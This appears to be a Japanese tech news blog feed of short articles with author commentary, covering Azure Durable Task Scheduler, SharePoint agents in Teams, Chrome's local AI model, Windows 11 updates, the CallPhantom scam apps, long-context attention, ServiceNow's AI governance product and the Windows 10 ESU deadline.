Tech News JP

AIエージェントが複数のツールを呼び出しながら長時間タスクをこなす——そのオーケストレーション基盤として注目されていたAzure Durable Task SchedulerのConsumption SKUが、一般提供（GA）を迎えた。地味なアナウンスに見えるが、AIエージェントを本番に持ち込もうとしているエンジニアにとっては見逃せないマイルストーンだ。 Durable Task Schedulerとは何か Durable Functionsは、長時間実行・複数ステップのワークフローをAzure Functions上で実装するためのフレームワークだ。そのバックエンドとして「ステート管理・タスクスケジューリング」を担うのがDurable Task Scheduler。従来はAzure Storageアカウントをバックエンドとして使うのが一般的だったが、スケーリングやレイテンシの面で課題があった。Durable Task Schedulerはそのバックエンドを刷新するもので、高スループット・低レイテンシ・シンプルな管理を実現する。 Consumption SKUのポイント 今回GAとなったConsumption SKUの最大のポイントは従量課金だ。ワークフローのオーケストレーション実行数に応じた課金なので、常時稼働の必要がない間欠的なワークロードや、予測しにくいAIエージェントのタスク量に対して非常に相性がいい。 従来のプランではキャパシティ計画（ノード数・ストレージ量の事前確保）が必要だったが、Consumption SKUではその煩わしさが消える。「動いた分だけ払う」という設計は、スタートアップのPoC（概念実証）から大企業のパイロット展開まで、幅広いフェーズで活躍する。 対応環境の広さ もう一つ注目したいのが対応環境の幅広さだ。Azure Functions単体にとどまらず、Azure Container Apps、AKS（Azure Kubernetes Service）でも利用できる。コンテナ化されたアーキテクチャやKubernetesネイティブな環境でも同一のオーケストレーションバックエンドを使えるのは、ハイブリッドなアーキテクチャを採用している企業にとって大きなメリットだ。 AIエージェントとの親和性 特に見逃せないのはAIエージェントのマルチステップオーケストレーションとの相性だ。エージェントが「情報収集 → 分析 → 承認待ち → 実行 → 結果報告」のような複数ステップを経る場合、その状態を適切に管理する基盤が不可欠になる。Durable Task Schedulerはまさにその設計思想を持っており、Consumption SKUのGAによってプロダクション用途での採用障壁が大きく下がった。 実務への影響 日本のエンジニア・IT管理者にとっての実践的な活用ポイントをまとめる。 1. AIエージェント基盤の構築に使う マルチステップのAIオーケストレーションをAzure上に構築する際の第一選択肢として検討する価値がある。従量課金なので、開発・テスト段階から気兼ねなく使い始められる。 2. 既存のDurable Functionsを移行する すでにDurable Functionsをストレージバックエンドで運用している場合、Durable Task Schedulerへの移行でパフォーマンスと管理コストの改善が期待できる。バックエンドの差し替えに近い形で移行できるため、既存コードの大幅な書き換えは不要だ。 3. キャパシティ計画から解放される 「将来の負荷を見越してリソースを事前確保する」というオーバープロビジョニングの文化から抜け出す良い機会だ。コスト予測が「実行数 × 単価」に近い形で行えるようになる。 4. Container Apps / AKSとの統合 マイクロサービス構成でContainer AppsやAKSを使っている場合、同じオーケストレーション基盤を統一することで、分散システムの複雑性を一段階抑えられる。 筆者の見解 Durable Task SchedulerのConsumption SKUのGAは、派手さはないが実務レベルでじわじわ効いてくる重要なアップデートだと見ている。 ...

Microsoftが「TeamsにSharePointエージェントを直接追加できる」機能を2026年6月よりロールアウト開始する。チャット画面を離れることなくSharePointのドキュメントや情報を横断検索できるこの機能は、M365がプラットフォームとして謳う「統合の価値」を実感できる、数少ない取り組みの一つだ。 SharePointエージェントをTeamsに呼び出す——何ができるのか この機能では、Teamsのチャットやチャネルに「SharePointエージェント」を直接追加できる。操作方法は2通り。 チャットのメンバーリストドロップダウンから「エージェントとボットを追加」を選択 Teamsストアの「エージェント」カテゴリから検索・追加 エージェントを追加すると、その会話の文脈の中でSharePointのコンテンツを検索・参照できるようになる。プロジェクトの議論中に「あの仕様書はどこだったか」という疑問が出たとき、SharePointエージェントに問いかければ直接回答が返ってくる——というユースケースを想定している。 ロールアウトのスケジュールは以下のとおり： Targeted Release：2026年6月中旬開始、6月末完了予定 General Availability：2026年6月末開始、7月末完了予定 管理者側の設定変更は不要で、適切なライセンスを持つユーザーが自分で追加できる。なお、利用にはE3またはE5ライセンスが必要な点は確認しておきたい。 実務への影響——日本のエンジニア・IT管理者にとっての意味 日本のエンタープライズでよく見られる光景がある。Teamsで活発に議論しながら、必要な情報を探すためにブラウザでSharePointを開き、ドキュメントのURLをコピーして貼り付ける——このコンテキストスイッチが積み重なって生産性を蝕んでいる。SharePointエージェントのTeams統合が解決しようとしているのはまさにこの問題だ。 IT管理者へのアドバイス 管理者操作は不要だが、ユーザーへの事前周知は必須。「急に新機能が増えた」状態はヘルプデスクへの問い合わせ急増を招く SharePointのアクセス権設定が適切でないと、エージェントが予期しないドキュメントを返す可能性がある。権限設計の見直しを今のうちに行うことを推奨する E3/E5が必要な点を確認し、対象外ユーザーへの対応方針をあらかじめ決めておく エンジニアへのアドバイス SharePoint側のドキュメント構造・命名規則が整っていないと、エージェントが正確な情報を返せない。情報アーキテクチャの整備が先決 チームの活用方法を標準化する簡単なガイドラインを作成しておくと、展開後の混乱を抑えられる 筆者の見解 M365のAI機能に対して、近年は手放しで喜べないケースが正直なところ続いていた。だからこそ、今回の取り組みには「これだ」と感じるものがある。 TeamsとSharePointはM365の中核を担う2大ツールだ。にもかかわらず、この2つの間でコンテキストを行き来するコストは長年ユーザーの不満の種だった。SharePointエージェントをTeams統合するという方向性は、「個別製品の機能強化」ではなく「プラットフォームとしての統合価値」を高める本質的なアプローチだと思う。 M365の強みは、Teams・SharePoint・Exchange・Entraが一つのエコシステムとして機能することにある。その観点から見れば、今回の施策は正しい方向を向いている。バラバラに使っていては意味がないプラットフォームが、少しずつ本来の姿に近づいていると感じる。 一方で、課題も残る。エージェントが「正しい答え」を返すには、SharePoint側のコンテンツが整理されていることが前提だ。ガバナンスが甘いまま機能だけ開放すると、かえって混乱を招きかねない。このロールアウトを機に、SharePointのドキュメント管理体制を見直す——そんな機会として捉えてほしい。 プラットフォームとしての底力は本物だ。だからこそ、基盤となるコンテンツ管理とガバナンスをしっかり整えた上で、この機能を最大限に活かしてほしいと思う。 出典: この記事は Microsoft Teams: Find SharePoint agents in Teams chats and Teams Store の内容をもとに、筆者の見解を加えて独自に執筆したものです。

Google Chromeがオンデバイス処理用のAIモデルとして4GBものストレージを使用していることが、一部のユーザーの間で話題になっている。しかしArs Technicaのライター Ryan Whitwam 氏が5月8日に報じたところによると、これは今始まったことではなく、2024年から続く慣行だという。 Chromeに搭載されるGemini Nano——何をしているのか Chromeのデスクトップ版は、オンデバイスAI処理のためにGemini Nanoと呼ばれる大規模言語モデルをローカルストレージにダウンロードする。このモデルのサイズは約4GB。「Help Me Write（文章補助）」「タブ整理」「詐欺検出」といった機能を、クラウドではなく端末内で処理するために使われている。 Ars Technicaの報告によれば、Googleはどのマシンにモデルを展開するかをハードウェアスペック・アカウントの状態・訪問サイトのAPI利用状況など複数の条件で判断しているが、その基準はユーザーに開示されていない。「昨日突然4GBが消えた」と感じているユーザーの中には、実際には2024年から静かにモデルが動いていたケースもあるという。 海外レビューのポイント Ars Technicaは、4GBというサイズ自体は必ずしも驚くべきことではないと指摘する。Chromeはインストール直後の段階で6〜8GBを消費し、キャッシュや拡張機能を含めると数ヶ月で10倍以上に膨らむことも珍しくない。その文脈では、AIモデルの4GBは相対的には小さい。 ただし、同記事が問題の本質として強調しているのは「ユーザーに選択肢が与えられていない」という点だ。オンデバイスAIはプライバシーの観点からメリットがあるが、「使いたくない人が自分で切る」設計は「使いたい人が自分でオンにする」設計とは根本的に異なる。Googleはデフォルトの力の大きさをよく知っているはずだ、とWhitwam氏は指摘している。 無効化する方法 ChromeのローカルAI機能とGemini Nanoモデルは手動で無効化できる。 Chromeの設定を開く 「システム」タブを選択 ローカルAI機能のトグルをオフにする この操作でモデルが削除され、再ダウンロードも停止される。またArs Technicaによれば、ストレージが不足した場合はChromeが自動でモデルを削除する設計にもなっているという。 日本市場での注目点 日本のエントリー帯PCでは256GB・512GB SSDが一般的であり、4GBの確保は見過ごせないケースもある。法人環境でストレージを厳格に管理している場合は、グループポリシー等でChromeのAI機能を組織単位で制御する手段を検討する価値がある。 一方で、オンデバイス処理であることはプライバシーの観点からは一定のメリットをもたらす。クラウドにデータが送られないため、機密性の高い情報を扱う業務中でも送信リスクを抑えられる。「クラウドへのデータ送信を最小化したい」というニーズが根強い日本の法人市場では、アーキテクチャそのものの評価は分かれるところだろう。 筆者の見解 この件の本質は4GBというサイズではなく、「なぜ最初から確認を取らなかったのか」という設計判断にある。 オンデバイスAIという方向性そのものは正しい。クラウドに頼らず端末内で処理することは、プライバシーと応答速度の両面でメリットがある。しかし、ユーザーが選んでいない機能のために数GBを静かに確保するのは、「便利にしてあげた」ではなく「勝手に使った」だ。 Googleはデフォルト検索エンジンの座を守るために何十億ドルもの費用を払ってきた会社だ。デフォルトの力を誰よりもよく知っている企業が、「ユーザーはストレージの消費を気にしないだろう」と判断するのは、意図的な設計に見える。 AIを普及させたいなら、まずユーザーに選ばせることが出発点のはずだ。「使いたい人が自分でオンにする」設計にするだけで、こうした摩擦は生まれなかった。Chromeは今後もAI機能を増やしていくだろう。その都度ユーザーとの信頼を削らないよう、初期設定の哲学を見直してほしいと思う。 出典: この記事は Chrome’s 4GB AI model isn’t new, but you’re not wrong for being confused の内容をもとに、筆者の見解を加えて独自に執筆したものです。

AIへの出力フォーマット、まだMarkdown指定していますか？ 「Markdown形式で出力してください」——AIとのやり取りでこのフレーズを使っている人は多いはずだ。実はこの習慣、そろそろ見直しどきかもしれない。あるAIエージェント開発チームのメンバーが提言した「HTMLで出力を求めたほうが、圧倒的に情報が豊かになる」という主張が注目を集めている。単なる好みの話ではなく、時代背景を踏まえた技術的な根拠がある。 Markdownが定着した歴史的背景 Markdownがプロンプトでのデファクト出力形式になったのには、れっきとした理由がある。GPT-4が登場した当時、コンテキストウィンドウは8,192トークンという厳しい制限があった。HTMLと比較してMarkdownはトークン効率が格段に高く、限られた枠でより多くの情報を詰め込める。その実用的な判断が、そのまま業界の習慣として定着した。 言わば「当時の制約に最適化されたベストプラクティス」が、制約が消えた後も惰性で使われ続けている状態だ。 制約が消えた今、何が変わるのか 2026年現在、主要モデルのコンテキストウィンドウは飛躍的に拡大している。トークン効率を最優先に考える必要性は大幅に下がった。そこで問い直されるのが「出力形式を何のために指定するのか」だ。 Markdownの価値は「シンプルで汎用性が高い」こと。一方、HTMLの強みは表現力の豊かさにある。HTMLで出力を求めれば、以下が使えるようになる： SVGダイアグラム — アーキテクチャ図やフローチャートをテキスト内に直接埋め込める インタラクティブなウィジェット — JavaScriptによるクリック・展開・絞り込みが可能 ページ内ナビゲーション — 長い技術ドキュメントでもアンカーリンクで素早く移動できる 視覚的な重み付け — CSSでコンテンツの重要度を色・サイズ・配置で直感的に伝えられる Markdownはテキストエディタで読む前提の形式だ。AIの出力をブラウザや専用ビューアで消費するなら、HTMLの表現力を活かさない理由はない。 実践的なプロンプト例 PRレビュー支援のプロンプトとして、こんな指示が提案されている： 出典: この記事は Using Claude Code: The Unreasonable Effectiveness of HTML の内容をもとに、筆者の見解を加えて独自に執筆したものです。

Windows 11のサウンドが、近く大きく変わるかもしれない。Microsoftのデザイン・リサーチリードであるMarcus Ash氏がX（旧Twitter）上で、Windows 11の起動音を手がけたオリジナルのサウンドデザイナーがチームに復帰したことをさらりと明かした。これは単なる人事情報ではなく、システムサウンド全体の刷新が動いていることを強く示唆するものだ。 何が起きているのか Ash氏は、Windowsのサウンドの歴史に関するユーザーとのやり取りの中でこうコメントした。 「Windows 11の起動音を担当したサウンドデザイナーが最近チームに戻ってきました！彼がサウンドでできることには本当に驚かされます」 Windowsの基幹チームにオリジナルデザイナーが復帰するという動きは、起動音だけにとどまらず、通知音・エラー音・システムアクション音など、OS全体のサウンドパッケージが刷新される準備が進んでいることを示唆している。 現行のWindows 11起動音はわずか1秒という極めてシンプルなデザインで、モダンな洗練を感じさせる。しかしMicrosoftは、OSのビジュアルと音の両面で「プレミアム感」をさらに高めようとしているようだ。 Windowsサウンドの歴史を振り返る Windowsの起動音の歴史は、そのままOSの時代を映す鏡でもある。 Windows 95の起動音は、アンビエント音楽の先駆者Brian Enoが制作した伝説的な一曲だ。「インスピレーションを与え、普遍的で、楽観的で、未来的で、感傷的で、感情的なものを数秒に詰め込め」というMicrosoftの難題に応えた作品は、テクノロジー史に刻まれた音響ロゴとなった。ちなみにEno氏は後に、Apple Macintoshで制作したことをさらりと認めている。 Windows XPの起動音は、ライブオーケストラ録音をベースにしたもので、作曲家Bill BrownとサウンドデザイナーTom Ozanichがコラボした。世界中の数十億台にインストールされたXPのあの旋律は、今でも多くのユーザーの耳に焼き付いている世代も多いはずだ。 こうした歴史を振り返ると、「起動音」がいかにブランドの記憶に深く刻まれるかが改めてわかる。 実務への影響 エンタープライズ環境では、システムサウンドは「最初に無効化するもの」として扱われてきた節がある。しかしリモートワークが定着した現在、PCの起動・通知・エラーをサウンドでも識別できる設計は、アクセシビリティの観点からも見直す価値がある。 IT管理者としては、グループポリシーやMicrosoft Intuneを通じてサウンドポリシーを構成管理に組み込んでおくことで、新しいサウンドセット導入時もスムーズに対応できる。特に大規模展開環境では、ユーザーへの周知を含めた変更管理として扱うのが望ましい。 また、音声通知に依存するアクセシビリティ設定を利用しているユーザーがいる場合は、サウンド刷新に伴う影響確認も忘れずに。 筆者の見解 OSのサウンドデザインに本気でリソースを投じるMicrosoftを見るのは、正直久しぶりという気がする。「こまごまとした音よりもっと本質的な改善を」と言いたくなる気持ちはよくわかる。 ただ、ユーザー体験の「質感」というのは、こういう細部の積み重ねで作られるものでもある。Windows 95の起動音がBrian Enoによるものだったように、「音」はブランドのアイデンティティに深く刻まれる。そしてMicrosoftには、そのレベルの仕事を本気でやりきる力が間違いなくある。 Windowsを細かく追い続ける意味が以前ほど大きくはなくなった時代においても、PCを「使いたい」と感じさせる体験の総合的な底上げは意味がある。サウンドの刷新が単なるリブランディングに終わるのか、それともOS全体のエクスペリエンスを引き上げる本物の改善になるのか。そこに注目したい。 出典: この記事は Windows 11’s iconic system sounds may be getting a refresh, Microsoft drops a hint の内容をもとに、筆者の見解を加えて独自に執筆したものです。

ラップトップ利用者にとって長年の課題だった「タッチパッドの操作感」が、ついに本格的に刷新されようとしている。 Microsoftは2026年5月8日（現地時間）、Windows 11 Insider Previewの新ビルドをBeta・Experimental・Experimental (26H1)・Experimental (Future Platforms)の全チャネルで同時リリースした。今回のアップデートで特に注目を集めているのが、精密タッチパッド（Precision Touchpad）への大型アップグレードだ。 4つの新ジェスチャー機能とは 今回の主な強化は「Experimental」チャネル（Build 26300.8376）で提供される。設定アプリの「Bluetooth とデバイス > タッチパッド > スクロールとズーム」から以下の機能が設定可能になる。 エッジ到達時の自動スクロール（Automatic scrolling at edge） 指がタッチパッドの端に達した際に、ページのスクロールを自動的に継続させる機能。従来のように指を何度も往復させる必要がなくなる。 圧力による自動スクロール（Automatic scrolling with pressure） 指を動かさずに強く押し込むことでスクロールを継続できる機能。こちらは対応ハードウェアが必要となる点に注意したい。 加速スクロール（Accelerated scrolling） 同じジェスチャーを素早く繰り返すと自動的にスクロール速度が上がる機能。長いWebページや大型PDFを素早く読み進める場面で威力を発揮する。 1本指スクロール（Single-finger scrolling） タッチパッドの右端または左端を1本指でなぞるだけで垂直スクロールができるようになる。2本指ジェスチャーが難しい状況や片手操作時に役立つ、実用的な追加だ。 Microsoftによれば、これらの機能は特別なハードウェアを必要とせず、既存の精密タッチパッドの大部分で動作するとのことだ。 File Explorerの地味だが重要な改善 同ビルドには、ファイルサイズの表示単位が変わるという改善も含まれている。これまで詳細ビューでは、ファイルサイズが桁数の多いバイト単位で表示されることがあった。新バージョンではKB・MB・GBと適切な単位で表示されるようになる。派手さはないが「なぜ今まで直らなかったのか」と思っていた人も多いはず。こういった積み重ねが、日々の操作性を確実に底上げしていく。 WinUI 3アプリでの注意点 すべての機能がすべてのアプリですぐに使えるわけではない。WinUI 3ベースのアプリケーションで完全な機能を利用するには、開発者側がWindows App SDKのバージョン1.8または2.0に対応させる必要がある。Microsoftはこれらのバージョンを現在開発中だ。社内でWinUI 3ベースのアプリを運用しているチームは、SDKアップデートのスケジュールを追っておく価値がある。 実務への影響 今回の変更はInsiderビルドの段階なので、一般リリースは数ヶ月先になる見込みだ。エンジニアやIT管理者のための実践的なポイントを整理すると： ラップトップ主体の作業者には恩恵が大きい: タッチパッドの快適さは長時間作業の生産性に直結する。加速スクロールや自動スクロールは慣れると手放せなくなるタイプの機能だ マウス派も再検討の余地あり: 「タッチパッドは使いにくい」という理由でマウスに移行したユーザーも、改めて試す価値がある変更だ WinUI 3アプリの開発チームはSDK対応を確認: 完全な機能利用のためにWindows App SDK 1.8/2.0への対応が必要になる点は要チェック Insiderプログラムでの先行評価: Experimentalチャネルはやや不安定だが、Betaへの展開を待ってから評価する方針でも十分だ 筆者の見解 正直なところ、「タッチパッドをここまで本格的に強化する」とは思っていなかった。 Windowsのタッチパッド体験は長い間、MacBookのトラックパッドと比較されては「劣る」と言われ続けてきた。実際、PC各社のタッチパッドはメーカーによる品質のばらつきが大きく、Precision Touchpad規格の普及でようやく底上げが進んだという経緯がある。今回の新機能はその延長線上にあり、ソフトウェアの側からさらに補強しようという取り組みだ。 AI機能に関する大きな発表が続く中で、こういった日常的な操作性の地道な改善が続けられていることは評価したい。AI機能は確かに注目を集めるが、毎日触れる基本的なUIのクオリティこそが、実際の使いやすさを長期的に支える基盤になる。Microsoftにはそこを引き続き丁寧に磨き続けてほしい。 まだInsiderビルドの段階ではあるが、普段ラップトップで長時間作業している方は、ぜひBetaチャネルでの展開を機に試してみてほしい変更だ。 出典: この記事は Microsoft is upgrading Windows 11 touchpad with four new gestures の内容をもとに、筆者の見解を加えて独自に執筆したものです。 ...

セキュリティ企業ESETは2025年12月にGoogleへ報告を行い、Androidのストーキングツールを装った一連の詐欺アプリ群「CallPhantom」の実態が明らかになった。Tom’s Guideのスコット・ヤウンカー記者が2026年5月8日に報じた内容によると、28本のアプリが合計730万回以上ダウンロードされており、Google Playストアからはすでに全件削除が確認されている。 なぜこの事件が注目されるのか CallPhantomが特異なのは、「善良な被害者」対「一方的な詐欺師」という単純な構図に収まらない点だ。これらのアプリが謳っていたのは、任意の電話番号の通話履歴・SMS記録・WhatsApp通話ログを閲覧できるという機能——要するに他人のプライバシーを侵害するストーキングツールとしての役割である。 Tom’s Guideはこの点について「怪しい機能を求めてアプリを探しに行けば、詐欺師のカモになりやすい」と率直に指摘している。被害者は確かに金銭的損害を受けたが、その動機自体がグレーゾーンにあるという「全員がどこか間違っている」構造が、この事案の本質だ。 ESETレポートが明かした手口の詳細 ESETの調査によると、CallPhantomアプリ群は以下のような巧妙な仕組みで機能していた。 偽データの生成: アプリはランダムな電話番号を生成し、固定された名前・通話時間・通話時間と紐づけることで、いかにも本物らしい通話履歴を表示していた。 課金システムの使い分け: 一部アプリはGoogle Playの正規課金システムを利用。別の一部はサードパーティ決済やカード入力フォームを採用し、Googleのポリシーを巧みに迂回していた。 危険な権限を要求しない: 注目すべき点として、ターゲットの端末に対する不正アクセス権限を一切要求していなかった。「権限の多さを確認する」という一般的な防御策では見抜けない設計だ。 メールアドレスの収集: 一部アプリは「偽の通話履歴データを送付する」という名目で、ユーザーのメールアドレスを収集。しかし決済完了前には何も送られてこない仕組みだった。 日本市場での注目点 レポートによればインドおよびアジア太平洋地域のユーザーが主要なターゲットとされており、日本も対象地域として決して無縁ではない。 返金の可否: Google Playの公式課金で支払っていた場合、Googleのサブスクリプション管理ページから払い戻し申請が可能。ただしサードパーティ決済を経由していた場合は回収が困難になる。 今すぐできる対策: Google Play Protectを有効にする（設定アプリ → Google → Play Protect から確認） レビューの「☆5が多い」だけを信じず、評価分布や低評価の内容を確認する アクセシビリティ権限を要求するアプリは原則として拒否する 不要なアプリをこまめに削除してインストール数を最小限に保つ 筆者の見解 今回の事案で注目すべきは、マルウェアや情報漏洩という従来型の脅威ではなく、「詐欺の構造的な巧妙さ」にある。通常、悪意あるアプリは過剰な権限要求や不審な動作で検出されやすい。しかしCallPhantomは危険な権限を一切求めず、正規の課金システムを活用し、「偽データを返す」ことで技術的・法的にグレーな領域に留まっていた。 Playストアのセキュリティ審査は継続的に改善されているが、「動作自体は正常に見える詐欺」は審査をすり抜けやすい。ESETのような独立したサードパーティのセキュリティリサーチャーの報告が削除のきっかけになったという事実は、プラットフォーム側の自律的な検出だけには頼れないことを示している。 ユーザー側が実践できる最善の防御は、きわめてシンプルだ。「技術的に不可能なことを提供すると主張するアプリには近づかない」——他人のスマートフォンの通話履歴が見知らぬアプリで取得できるわけがない、という当たり前の判断そのものが防衛線になる。怪しい機能を求めて動いた結果として詐欺に遭う構造は、今後も形を変えながら登場し続けるだろう。 関連製品リンク ESET インターネット セキュリティ(最新)|5台3年版|カード版|ウイルス対策|Win/Mac/Android対応 上記はAmazon.co.jpへのリンクです。記事執筆時点の情報であり、価格・在庫は変動する場合があります。 出典: この記事は Android alert: 7 million users downloaded ‘stalking’ apps that were actually scams の内容をもとに、筆者の見解を加えて独自に執筆したものです。

LLMの「コンテキストウィンドウ」という概念が、また一段階上に引き上げられた。スタートアップ企業Subquadraticが公開した新しいアテンション機構「Sparse Subquadratic Attention（SSA）」は、AIモデルが一度に処理できるトークン数を1200万という桁外れのスケールに引き上げた。これは単なる数字のアップデートではなく、Transformer以来の根本的な計算アーキテクチャの変革だ。 なぜコンテキストウィンドウが重要なのか LLMが一度の推論で「見られる情報量」がコンテキストウィンドウだ。従来の主要モデルは数万〜数十万トークン程度であり、大規模なコードベースや長大なドキュメント群を丸ごと渡すことは現実的でなかった。 問題の核心は計算量にある。標準的なSelf-Attention機構はシーケンス長nに対して**O(n²)**の計算コストがかかる。トークン数を10倍にすれば、計算量は100倍に膨れ上がる。これが「コンテキストを伸ばせない」壁の正体だ。 SSA：クエリごとに「どこを見るか」を絞り込む SubquadraticのSparse Subquadratic Attention（SSA）はこの問題をエレガントに解決する。 従来のAttentionがすべてのトークンペアを網羅的に計算するのに対し、SSAはクエリトークンごとに、コンテンツベースで参照すべき位置を動的に絞り込む。つまり「全員に聞く」のではなく「関係ある人だけに聞く」方式に切り替えることで、計算量をO(n²)からO(n)に近い領域にまで引き下げた。 これにより、1200万トークンというコンテキストウィンドウが現実的なコストで実現可能になった。1200万トークンは英語換算でおよそ900万語——中規模の企業コードベース全体や、数千ページに及ぶ技術文書を丸ごとモデルに渡せる規模感だ。 SubQ Code：CLIコーディングエージェントとしての実装 Subquadraticはこの技術を搭載したCLIコーディングエージェント「SubQ Code」を同時にベータ公開した。コーディングエージェント市場に対してSSAの実用性を示す場として位置づけているとみられる。 コードベース全体をコンテキストに収めた上でリファクタリング指示を出せるようになることの意味は大きい。従来のエージェントが「どのファイルを読むべきか」という検索・絞り込みのステップに苦労していた部分が、根本的に変わる可能性がある。 実務への影響——日本のエンジニア・IT管理者にとっての意味 現時点ではベータ段階であり、商用利用や既存ワークフローへの統合を即座に検討する必要はない。ただし、以下の点は頭に入れておきたい。 大規模コードベースの自動解析が現実に近づく 数十万行規模のレガシーシステムを一度に解析し、依存関係の整理や技術的負債の洗い出しをAIに依頼することが、技術的には射程内に入ってきた。 長文ドキュメント・契約書・ログの一括処理 大量のログファイル、複数年分の設計書、長大な仕様書を丸ごとコンテキストに渡せるようになれば、RAG（Retrieval-Augmented Generation）を介さずに直接処理できる場面が増える。RAGアーキテクチャの設計コストが将来的に下がる可能性もある。 エージェントのループ設計に新たな選択肢 AIエージェントが自律的にタスクを繰り返しながら状態を維持するループ型の設計において、長いコンテキストは「エージェントの記憶」として機能する。ループが長くなるほど蓄積される中間状態を失わずに保持できるのは、アーキテクチャ上の大きな前進だ。 筆者の見解 O(n²)という壁は、Transformerが登場した2017年以来、研究者たちが何度も挑戦してきた壁だ。Linear Attention、Performer、Retentive Networkなど、様々なアプローチが試みられてきたが、精度とスケールのトレードオフで実用に至らないケースが多かった。SSAがこの問題を「コンテンツベースの動的な位置絞り込み」というアプローチで解決しようとしているのは、理論的には非常に筋がいい。 特に注目したいのは、この技術とエージェントの自律性の関係だ。AIエージェントの本質的な価値は「人間が都度確認しなくても、目的を与えれば自律的にタスクを遂行できること」にある。その自律性を支える要素のひとつが、エージェントが長い作業履歴・文脈を失わずに保持し続けられる能力だ。コンテキストウィンドウの拡大は、単に「長い文書を読める」という話ではなく、エージェントが深く・長く思考できる基盤になる。 もちろん、ベータ段階の技術を過大評価するのは禁物だ。1200万トークンが推論コストとのバランスで実用的かどうか、品質が標準的なAttentionと比較して遜色ないかどうか、まだ検証が必要な点は多い。 それでも、「コンテキストウィンドウはいずれ無限に近づく」という方向性自体は疑いようがない。今日の制約を前提に設計したシステムが、数年後には陳腐化する可能性がある。今のうちから「コンテキストが事実上無制限になったとき、自分のシステムはどう変わるか」を考えておくことが、先を見据えた設計につながるはずだ。 出典: この記事は The context window has been shattered: Subquadratic debuts a 12-million-token window の内容をもとに、筆者の見解を加えて独自に執筆したものです。

9秒。それだけの時間で、ある企業の本番データベースが消えた。顧客データ、予約記録、すべてのバックアップ——AIエージェントが必要以上の権限を持ち、誰も監視していなかったために起きた出来事だ。攻撃でも不正アクセスでもない。「設計ミスのある自律エージェント」がただ動いただけ。 この実話を5月6日、ラスベガスのKnowledge 2026で2万5千人を前に語ったのがServiceNowのCEO、ビル・マクダーモット氏だ。そのうえでServiceNowは「AI Control Tower」を市場定義製品として正式に打ち出し、1年間無償提供（公称200万ドル相当）を発表した。 「確率的AI」と「決定論的実行」——混同が事故を生む ServiceNow PresidentのAmit Zavery氏が提示した概念整理が鋭い。LLMは「確率的AI」だ。同じ質問に毎回同じ答えが返るとは限らない。文章生成やアイデア出しでは、その柔軟性は武器になる。 しかし企業の基幹業務は違う。アクセス権限のプロビジョニング、給与計算の実行、セキュリティインシデントへの対処——これらは「毎回正しく」「追跡可能で」「いつでも停止できる」必要がある。LLMをそのまま基幹業務に差し込むと、この「決定論的」要件が満たせない。 マクダーモット氏はこの状態を「AIカオス」と呼んだ。エージェントは動いているが、監査証跡なし、コンプライアンス上のポジションなし、ROI測定不能——Fortune誌の調査では、95%の企業がAI投資のROIを計測できていないという現実がある。 AI Control Towerの4つの柱 ServiceNowが提示する答えが「AI Control Tower」だ。機能は大きく4つに整理される。 1. 自動ディスカバリー: AWS、Azure、Google、各AIプロバイダーを横断して、すべてのモデル・エージェント・データセット・MCPサーバーを自動検出・カタログ化する。いわゆるシャドーAIの把握に直結する。 2. ライフサイクルガバナンス: ハルシネーション、バイアス、ポリシー違反をリアルタイム検出し、問題が連鎖する前に修正。コンプライアンスマッピングも自動化される。 3. ROIトラッキング: 採用率・コスト・生産性向上を単一ダッシュボードで可視化。CFOが取締役会の問いに「実数」で答えられる環境を作る。 4. キルスイッチ: あらゆるエージェントをどこでも、単一操作で一時停止・リダイレクト・停止できる機能。デモではプロンプトインジェクション攻撃の検出から即時停止までをステージ上で実演した。 実務への影響——今すぐ確認すべき3点 日本企業でのAIエージェント導入はこれから本格化するフェーズだ。「試す」段階から「本番業務に組み込む」段階への移行で、このガバナンス問題は必ず浮上する。IT管理者が今すぐ確認すべきポイントは3つ。 シャドーAIの棚卸し: 社内で稼働しているAIエージェントをすべてリストアップできているか 最小権限の徹底: 各エージェントに与えた権限は本当に最小限か。「とりあえず広め」の権限設定がないか 緊急停止手順の整備: エージェントが異常動作したとき、誰がどうやって止めるかの手順が文書化されているか ServiceNowのControl Towerはこれを体系的に解決するが、ベンダー製品を使わなくても「リストアップ→権限レビュー→停止手順整備」の順で即日着手できる。 筆者の見解 AIエージェントの自律化は間違いなく正しい方向だ。目的を伝えれば自律的にタスクを遂行し、判断・実行・検証をループで回し続ける——そういうエージェントにこそ、本質的な価値がある。 だからこそ、ガバナンス基盤は「制約」ではなく「インフラ」として捉えるべきだ。高速道路にガードレールと制限速度があるから安心して飛ばせる。ガバナンスなきエージェント化は、ガードレールのない山岳道路で目隠し運転するようなものだ。 今回ServiceNowが打ち出したポジション——「能力より制御が次の競争軸」——はエンタープライズAI市場の次フェーズを正確に捉えている。「使えるか」より「安全に使い続けられるか」に企業の関心が移るタイミングで、ガバナンス市場の形成を先手で宣言した。 「禁止ではなく、安全に使える仕組みを作れ」はAI導入の鉄則だ。ツールを禁止して終わる組織は、競合が安全に高速化している間に静かに取り残される。9秒の悲劇はリスクの一端に過ぎない。ガバナンスなきエージェント化が生む本当のコストは、失った信頼と止まった業務改善の機会損失だ。 自律エージェントと堅固なガバナンスは対立概念ではない。両立してこそ、本物の企業AIになる。 出典: この記事は Your company’s AI could delete everything in 9 seconds. ServiceNow wants to be the kill switch の内容をもとに、筆者の見解を加えて独自に執筆したものです。

Windows 10のサポートは2025年10月に終了した。しかし「終わった話」にはなっていない。2026年10月には拡張セキュリティ更新（ESU）の期限が到来し、さらにSecure Boot証明書の失効という別軸の問題も重なる。この「ダブル期限」を把握していない組織・個人ユーザーが、気づかないままリスクにさらされるケースが増えてきている。 ESU（拡張セキュリティ更新）とは ESU（Extended Security Updates）は、サポート終了後も重大なセキュリティパッチだけを継続受信できる有償プログラムだ。Windows 10向けの個人用ESUは年間$30、またはMicrosoftポイント1,000ポイントで加入できる。 企業向けはボリュームライセンス契約が別途必要で、ESU Year 2（2026年）はYear 1（2025年）より単価が上がるのが通例だ。ただし本質的にESUは「延命措置」に過ぎない。受け取れるのはCritical・Importantレベルのセキュリティパッチのみで、新機能追加や非セキュリティのバグフィックスは一切含まれない。 Secure Boot証明書失効という「もう一つの問題」 Secure Bootは起動時にOSの整合性を検証する仕組みだが、その根拠となるDB/DBX証明書には有効期限がある。Microsoftは古いSecure Boot証明書を段階的に失効させており、これが独立した問題として浮上している。 特に影響を受けやすい構成として以下が挙げられる： デュアルブート環境（LinuxなどとWindows 10を共存させているケース） サードパーティのブートローダーを使っている環境 古いUEFIファームウェアのハードウェア（特に2017年以前製造のPC） ESU期間中であっても、Secure Boot関連の証明書が適切に更新されなければ、起動検証の信頼性が低下するリスクがある。ESUとは別の管理対象として認識しておく必要がある。 